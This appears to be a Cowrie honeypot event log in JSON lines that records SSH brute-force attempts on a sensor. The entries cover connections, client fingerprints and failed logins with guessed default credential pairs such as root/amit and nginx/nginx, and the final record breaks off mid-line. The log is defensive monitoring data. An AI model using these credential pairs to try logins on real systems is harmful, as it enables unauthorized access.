{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":48510,"dst_ip":"10.17.0.5","dst_port":22,"session":"e373a5ce73c1","protocol":"ssh","message":"New connection: 170.80.65.140:48510 (10.17.0.5:22) [session: e373a5ce73c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:08.184265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:08.188964Z","src_ip":"170.80.65.140","session":"e373a5ce73c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:08.313824Z","src_ip":"170.80.65.140","session":"e373a5ce73c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amit","message":"login attempt [root/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:08.844061Z","src_ip":"170.80.65.140","session":"e373a5ce73c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:09.970752Z","src_ip":"170.80.65.140","session":"e373a5ce73c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.7435405254364,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:12.504275Z","src_ip":"128.199.8.54","session":"422fee38c9c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":51018,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ee8c3c30534","protocol":"ssh","message":"New connection: 165.154.137.186:51018 (10.17.0.5:22) [session: 7ee8c3c30534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:27.222613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:27.228071Z","src_ip":"165.154.137.186","session":"7ee8c3c30534","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:27.494801Z","src_ip":"165.154.137.186","session":"7ee8c3c30534","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:28.293898Z","src_ip":"165.154.137.186","session":"7ee8c3c30534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:29.559732Z","src_ip":"165.154.137.186","session":"7ee8c3c30534","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58480,"dst_ip":"10.17.0.5","dst_port":22,"session":"be1e64e7c9a0","protocol":"ssh","message":"New connection: 165.154.137.186:58480 (10.17.0.5:22) [session: be1e64e7c9a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:34.772215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:34.780190Z","src_ip":"165.154.137.186","session":"be1e64e7c9a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:35.027442Z","src_ip":"165.154.137.186","session":"be1e64e7c9a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:35.768440Z","src_ip":"165.154.137.186","session":"be1e64e7c9a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:37.018529Z","src_ip":"165.154.137.186","session":"be1e64e7c9a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":38792,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a986d82b2ee","protocol":"ssh","message":"New connection: 101.47.159.125:38792 (159.203.135.109:22) [session: 2a986d82b2ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:49.220652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:49.225318Z","src_ip":"101.47.159.125","session":"2a986d82b2ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:49.475818Z","src_ip":"101.47.159.125","session":"2a986d82b2ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"himanshu","password":"himanshu123","message":"login attempt [himanshu/himanshu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:50.503791Z","src_ip":"101.47.159.125","session":"2a986d82b2ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:51.754791Z","src_ip":"101.47.159.125","session":"2a986d82b2ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45110,"dst_ip":"10.17.0.5","dst_port":22,"session":"64f3a730f830","protocol":"ssh","message":"New connection: 165.154.137.186:45110 (10.17.0.5:22) [session: 64f3a730f830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:13:15.793833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:13:15.801554Z","src_ip":"165.154.137.186","session":"64f3a730f830","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:13:16.074812Z","src_ip":"165.154.137.186","session":"64f3a730f830","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:13:16.871233Z","src_ip":"165.154.137.186","session":"64f3a730f830","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:13:18.138511Z","src_ip":"165.154.137.186","session":"64f3a730f830","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":21526,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4186df74de0","protocol":"ssh","message":"New connection: 194.59.206.2:21526 (10.17.0.5:22) [session: e4186df74de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:13:20.271831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:13:20.275398Z","src_ip":"194.59.206.2","session":"e4186df74de0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:13:20.365321Z","src_ip":"194.59.206.2","session":"e4186df74de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:13:20.461792Z","src_ip":"194.59.206.2","session":"e4186df74de0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":60922,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fd205fd99ce","protocol":"ssh","message":"New connection: 165.154.137.186:60922 (10.17.0.5:22) [session: 3fd205fd99ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:13:50.095707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:13:50.099951Z","src_ip":"165.154.137.186","session":"3fd205fd99ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:13:50.346619Z","src_ip":"165.154.137.186","session":"3fd205fd99ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:13:51.088916Z","src_ip":"165.154.137.186","session":"3fd205fd99ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:13:52.338738Z","src_ip":"165.154.137.186","session":"3fd205fd99ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":60938,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ca17fd16fff","protocol":"ssh","message":"New connection: 165.154.137.186:60938 (10.17.0.5:22) [session: 7ca17fd16fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:13:59.061755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:13:59.065997Z","src_ip":"165.154.137.186","session":"7ca17fd16fff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:13:59.324064Z","src_ip":"165.154.137.186","session":"7ca17fd16fff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:00.101326Z","src_ip":"165.154.137.186","session":"7ca17fd16fff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:01.363876Z","src_ip":"165.154.137.186","session":"7ca17fd16fff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":38348,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb5d376d70f0","protocol":"ssh","message":"New connection: 37.233.85.71:38348 (10.17.0.5:22) [session: bb5d376d70f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:15.578930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:15.583506Z","src_ip":"37.233.85.71","session":"bb5d376d70f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh